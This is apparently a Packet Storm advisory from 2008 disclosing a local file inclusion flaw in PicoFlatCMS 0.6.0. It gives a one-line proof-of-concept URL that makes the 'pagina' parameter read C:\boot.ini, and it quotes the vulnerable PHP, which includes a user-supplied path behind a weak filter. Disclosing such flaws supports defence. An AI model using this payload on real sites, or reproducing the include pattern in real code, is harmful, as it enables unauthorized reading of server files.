picoflatcms060-lfi.txt

2008-10-27T00:00:00
ID PACKETSTORM:71238
Type packetstorm
Reporter fuzion
Modified 2008-10-27T00:00:00

Description

                                        
                                            `PicoFlatCMS 0.6.0 LFI  
http://www.sourceforge.net/projects/picoflatcms  
  
Same old thing:  
http://site/index.php?pagina=C:\boot.ini  
  
Fixme:  
  
if (eregi("\:\/\/", $pagina) || eregi("\?", $pagina)) {  
$pagina = "";  
include "notfound.php";  
}else{  
include $pagina;   
}`